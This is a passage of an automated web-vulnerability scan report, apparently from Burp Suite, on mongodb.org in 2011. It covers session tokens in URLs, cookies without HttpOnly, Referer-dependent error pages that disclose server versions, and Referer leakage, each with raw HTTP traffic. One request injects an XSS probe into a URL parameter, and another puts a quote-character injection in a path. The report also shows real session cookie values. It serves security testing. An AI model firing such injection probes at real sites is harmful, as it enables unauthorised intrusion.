Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.1.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02

Response

HTTP/1.1 200 OK
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: text/css;charset=UTF-8
Date: Wed, 09 Nov 2011 13:03:28 GMT
Expires: Sat, 06 Nov 2021 13:03:28 GMT
X-xgen-cache: yes
X-Cache-Info: caching
Content-Length: 456


@import url('/s/1627/3/1/_/styles/colors.css?spaceKey=DOCSee2fc<script>alert(1)</script>34ff8fd4c03');

/* Including stylesheet [ name='default-theme.css', location='classpath:/includes/css/default-theme.css' ] */

@import url('/s/1627/3/1/_/download/resources/com.atlassian.confluenc
...[SNIP]...

3. Session token in URL  previous  next
There are 2 instances of this issue:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.


3.1. http://www.mongodb.org/display/DOCS/Home  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /display/DOCS/Home

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /display/DOCS/Home HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.1.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708

Response

HTTP/1.1 200 OK
Date: Wed, 09 Nov 2011 13:03:20 GMT
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1320843800585
Vary: User-Agent
Content-Type: text/html;charset=UTF-8
Content-Length: 37810

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Home - MongoDB</title>



...[SNIP]...
<li>

<a href="/spaces/flyingpdf/pdfpageexport.action?pageId=131081&amp;atl_token=3srSe89IIe" class="" >
<span>
...[SNIP]...

3.2. http://www.mongodb.org/display/DOCS/Source+Code  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /display/DOCS/Source+Code

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /display/DOCS/Source+Code HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.3.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02

Response

HTTP/1.1 200 OK
Date: Wed, 09 Nov 2011 13:03:31 GMT
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1320843811914
Vary: User-Agent
Content-Type: text/html;charset=UTF-8
Content-Length: 30118

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Source Code - MongoDB</title>



...[SNIP]...
<li>

<a href="/spaces/flyingpdf/pdfpageexport.action?pageId=132298&amp;atl_token=3srSe89IIe" class="" >
<span>
...[SNIP]...

4. Cookie without HttpOnly flag set  previous  next
There are 10 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



4.1. http://www.mongodb.org/try/js/connection.js  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /try/js/connection.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /try/js/connection.js HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0

Response

HTTP/1.1 200 OK
Server: thin 1.2.7 codename No Hup
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: application/javascript;charset=utf-8
Accept-Ranges: bytes
X-xgen-cache: yes
Connection: keep-alive
Set-Cookie: rack.session=BAh7AA%3D%3D%0A; path=/
Last-Modified: Tue, 05 Jul 2011 18:51:20 GMT
X-Cache-Info: caching
Content-Length: 3277

// TryMongo
//
// Copyright (c) 2009 Kyle Banker
// Licensed under the MIT Licence.
// http://www.opensource.org/licenses/mit-license.php

var AppBaseURL = "/try/"

var Connection = function() {
thi
...[SNIP]...

4.2. http://www.mongodb.org/try/js/constants.js  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /try/js/constants.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /try/js/constants.js HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0

Response

HTTP/1.1 200 OK
Server: thin 1.2.7 codename No Hup
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: application/javascript;charset=utf-8
Accept-Ranges: bytes
X-xgen-cache: yes
Connection: keep-alive
Set-Cookie: rack.session=BAh7AA%3D%3D%0A; path=/
Last-Modified: Fri, 03 Sep 2010 15:31:36 GMT
X-Cache-Info: caching
Content-Length: 1600

// TryMongo
//
// Copyright (c) 2009 Kyle Banker
// Licensed under the MIT Licence.
// http://www.opensource.org/licenses/mit-license.php

var DefaultInputHtml = function(stack) {
var lineP
...[SNIP]...

4.3. http://www.mongodb.org/try/js/lib/collection.js  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /try/js/lib/collection.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /try/js/lib/collection.js HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0

Response

HTTP/1.1 200 OK
Server: thin 1.2.7 codename No Hup
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: application/javascript;charset=utf-8
Accept-Ranges: bytes
X-xgen-cache: yes
Connection: keep-alive
Set-Cookie: rack.session=BAh7AA%3D%3D%0A; path=/
Last-Modified: Mon, 12 Apr 2010 17:53:55 GMT
X-Cache-Info: caching
Content-Length: 16027

// collection.js


if ( ( typeof DBCollection ) == "undefined" ){
DBCollection = function( mongo , db , shortName , fullName ){
this._mongo = mongo;
this._db = db;
this._s
...[SNIP]...

4.4. http://www.mongodb.org/try/js/lib/query.js  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /try/js/lib/query.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /try/js/lib/query.js HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0

Response

HTTP/1.1 404 Not Found
Server: thin 1.2.7 codename No Hup
Vary: Accept-Encoding
X-Cascade: pass
Cache-Control: max-age=3600
Content-Type: text/html;charset=utf-8
X-xgen-cache: yes
Connection: keep-alive
Set-Cookie: rack.session=BAh7AA%3D%3D%0A; path=/
X-Cache-Info: caching
Content-Length: 18

<h1>Not Found</h1>

4.5. http://www.mongodb.org/try/js/mongo.js  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /try/js/mongo.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /try/js/mongo.js HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0

Response

HTTP/1.1 200 OK
Server: thin 1.2.7 codename No Hup
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: application/javascript;charset=utf-8
Accept-Ranges: bytes
X-xgen-cache: yes
Connection: keep-alive
Set-Cookie: rack.session=BAh7AA%3D%3D%0A; path=/
Last-Modified: Tue, 09 Aug 2011 18:54:39 GMT
X-Cache-Info: caching
Content-Length: 17031

// TryMongo
//
// Copyright (c) 2009 Kyle Banker
// Licensed under the MIT Licence.
// http://www.opensource.org/licenses/mit-license.php

// Readline class to handle line input.
var ReadLine = functi
...[SNIP]...

4.6. http://www.mongodb.org/try/js/object_id.js  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /try/js/object_id.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /try/js/object_id.js HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0

Response

HTTP/1.1 200 OK
Server: thin 1.2.7 codename No Hup
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: application/javascript;charset=utf-8
X-xgen-cache: yes
Connection: keep-alive
Set-Cookie: rack.session=BAh7AA%3D%3D%0A; path=/
Last-Modified: Mon, 12 Apr 2010 17:53:55 GMT
X-Cache-Info: caching
Content-Length: 244

var ObjectIdCounter = 0;

var ObjectId = function() {
this.counter = (ObjectIdCounter += 1);
this.str = this.counter;
this.initialize();
return this.counter;
};

ObjectId.prototype.initial
...[SNIP]...

4.7. http://www.mongodb.org/try/js/shell_utils.js  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /try/js/shell_utils.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /try/js/shell_utils.js HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0

Response

HTTP/1.1 200 OK
Server: thin 1.2.7 codename No Hup
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: application/javascript;charset=utf-8
Accept-Ranges: bytes
X-xgen-cache: yes
Connection: keep-alive
Set-Cookie: rack.session=BAh7AA%3D%3D%0A; path=/
Last-Modified: Mon, 12 Apr 2010 17:53:55 GMT
X-Cache-Info: caching
Content-Length: 15602

DB = function() {
}

print = function(msg) {
//console.log(msg);
}


friendlyEqual = function( a , b ){
if ( a == b )
return true;

if ( tojson( a ) == tojson( b ) )
return t
...[SNIP]...

4.8. http://www.mongodb.org/try/js/tokens.js  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /try/js/tokens.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /try/js/tokens.js HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0

Response

HTTP/1.1 200 OK
Server: thin 1.2.7 codename No Hup
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: application/javascript;charset=utf-8
Accept-Ranges: bytes
X-xgen-cache: yes
Connection: keep-alive
Set-Cookie: rack.session=BAh7AA%3D%3D%0A; path=/
Last-Modified: Mon, 12 Apr 2010 17:53:55 GMT
X-Cache-Info: caching
Content-Length: 7224

// tokens.js
// 2009-05-17

// (c) 2006 Douglas Crockford

// Produce an array of simple token objects from a string.
// A simple token object contains these members:
// type: 'name', 'string', '
...[SNIP]...

4.9. http://www.mongodb.org/try/js/utils.js  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /try/js/utils.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /try/js/utils.js HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0

Response

HTTP/1.1 200 OK
Server: thin 1.2.7 codename No Hup
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: application/javascript;charset=utf-8
Accept-Ranges: bytes
X-xgen-cache: yes
Connection: keep-alive
Set-Cookie: rack.session=BAh7AA%3D%3D%0A; path=/
Last-Modified: Fri, 03 Sep 2010 15:31:36 GMT
X-Cache-Info: caching
Content-Length: 1490

// Try Mongo
//
// Copyright (c) 2009 Kyle Banker
// Licensed under the MIT licence.
// http://www.opensource.org/licenses/mit-license.php

Array.prototype.include = function(value) {
for(var i=0; i
...[SNIP]...

4.10. http://www.mongodb.org/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mongodb.org
Path:   /

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.com/

Response

HTTP/1.1 200 OK
Server: Apache/2.2.16 (Amazon)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Wed, 09 Nov 2011 13:03:11 GMT
Connection: Keep-Alive
Set-Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; expires=Tue, 04-Nov-2031 13:03:11 GMT; Path=/
Content-Length: 10884

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
...[SNIP]...

5. Referer-dependent response  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /s/1627/3/1.0/_/download/batch%27/confluence.web.resources:print-styles/confluence.web.resources:print-styles.css

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET /s/1627/3/1.0/_/download/batch%27/confluence.web.resources:print-styles/confluence.web.resources:print-styles.css?media=print HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://burp/show/5
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.6.10.1320843794; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02; rack.session=BAh7AA%3D%3D%0A; __utmc=266042259

Response 1

HTTP/1.1 500 Internal Server Error
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: text/html;charset=ISO-8859-1
Date: Wed, 09 Nov 2011 13:19:29 GMT
Connection: close
X-xgen-cache: yes
X-Cache-Info: not cacheable; response code not cacheable


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF
...[SNIP]...
<p>http://burp/show/5</p>

<h3>Confluence Application Information</h3>
<h4>Build Information</h4>
<p>

home: /opt/j2ee/domains/onconfluence.com/mongodb/webapps/atlassian-confluence/data/current<br>

buildNumber: 1627<br>

upTime: 1 day, 41 minutes, 14 seconds<br>

devMode: false<br>

version: 3.0.0_01<br>

Unique ID: 0x00000133887BBAD443DDE9958234E671047E45270126C358C7551AA62EB2F1A2
</p>

<h4>Server information</h4>
<p>
Application Server: Apache Tomcat/5.5.20<br>
Servlet Version: 2.4<br>

Database Dialect: net.sf.hibernate.dialect.PostgreSQLDialect<br>
Database Driver Name: null<br>
Database Driver Version: 8.3<br>
Database Name: PostgreSQL<br>
Database Version: 8.3.7<br>
Database Transaction Isolation: Read committed
Database Latency: 0<br>

</p>

<h4>Memory Information</h4>
<p>

Total Memory: 986 MB<br>
Used Memory: 684 MB<br>
Free Memory: 302 MB<br>
       
</p>

<h4>System Information</h4>
<p>

favouriteColour: Lemon chiffon<br>

javaRuntime: Java(TM) SE Runtime Environment<br>

jvmVersion: 1.0<br>

operatingSystem: Linux 2.6.18-128.1.6.el5<br>

fileSystemEncoding: ANSI_X3.4-1968<br>

javaVm: Java HotSpot(TM) 64-Bit Server VM<br>

javaVendor: Sun Microsystems Inc.<br>

userTimezone: America/New_York<br>

jvmImplementationVersion: 10.0-b23<br>

appServer: Apache T
...[SNIP]...

Request 2

GET /s/1627/3/1.0/_/download/batch%27/confluence.web.resources:print-styles/confluence.web.resources:print-styles.css?media=print HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.6.10.1320843794; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02; rack.session=BAh7AA%3D%3D%0A; __utmc=266042259

Response 2

HTTP/1.1 500 Internal Server Error
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: text/html;charset=ISO-8859-1
Date: Wed, 09 Nov 2011 13:19:42 GMT
Connection: close
X-xgen-cache: yes
X-Cache-Info: not cacheable; response code not cacheable


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF
...[SNIP]...
<p>Unknown</p>

<h3>Confluence Application Information</h3>
<h4>Build Information</h4>
<p>

home: /opt/j2ee/domains/onconfluence.com/mongodb/webapps/atlassian-confluence/data/current<br>

buildNumber: 1627<br>

upTime: 1 day, 41 minutes, 26 seconds<br>

devMode: false<br>

version: 3.0.0_01<br>

Unique ID: 0x00000133887BEA7543DDE99574A5331FF8531E6A21C6AD9DCB79E5422EB2F1C6
</p>

<h4>Server information</h4>
<p>
Application Server: Apache Tomcat/5.5.20<br>
Servlet Version: 2.4<br>

Database Dialect: net.sf.hibernate.dialect.PostgreSQLDialect<br>
Database Driver Name: null<br>
Database Driver Version: 8.3<br>
Database Name: PostgreSQL<br>
Database Version: 8.3.7<br>
Database Transaction Isolation: Read committed
Database Latency: 0<br>

</p>

<h4>Memory Information</h4>
<p>

Total Memory: 986 MB<br>
Used Memory: 720 MB<br>
Free Memory: 266 MB<br>
       
</p>

<h4>System Information</h4>
<p>

favouriteColour: Lemon chiffon<br>

javaRuntime: Java(TM) SE Runtime Environment<br>

jvmVersion: 1.0<br>

operatingSystem: Linux 2.6.18-128.1.6.el5<br>

fileSystemEncoding: ANSI_X3.4-1968<br>

javaVm: Java HotSpot(TM) 64-Bit Server VM<br>

javaVendor: Sun Microsystems Inc.<br>

userTimezone: America/New_York<br>

jvmImplementationVersion: 10.0-b23<br>

appServer: Apache Tomcat<br>

...[SNIP]...

6. Cross-domain Referer leakage  previous  next
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


6.1. http://www.mongodb.org/dosearchsite.action  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mongodb.org
Path:   /dosearchsite.action

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /dosearchsite.action?queryString=sql+stored+proc+trigger+function&where=DOCS HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/display/DOCS/Source+Code
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.4.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02

Response

HTTP/1.1 200 OK
Date: Wed, 09 Nov 2011 13:03:51 GMT
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1320843831011
Vary: User-Agent
Content-Type: text/html;charset=UTF-8
Content-Length: 15154

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Site Search - 10gen Confluence</title>



...[SNIP]...
<li class="noprint">Powered by <a href="http://www.atlassian.com/software/confluence" class="smalltext">Atlassian Confluence</a> 3.0.0_01, the <a href="http://www.atlassian.com/software/confluence" class="smalltext">Enterprise Wiki</a>
...[SNIP]...
<li class="noprint"><a href="http://jira.atlassian.com/secure/BrowseProject.jspa?id=10470" class="smalltext">Bug/feature request</a>
...[SNIP]...
<li class="noprint"><a href="http://www.atlassian.com/about/connected.jsp?s_kwcid=Confluence-stayintouch" class="smalltext">Atlassian news</a>
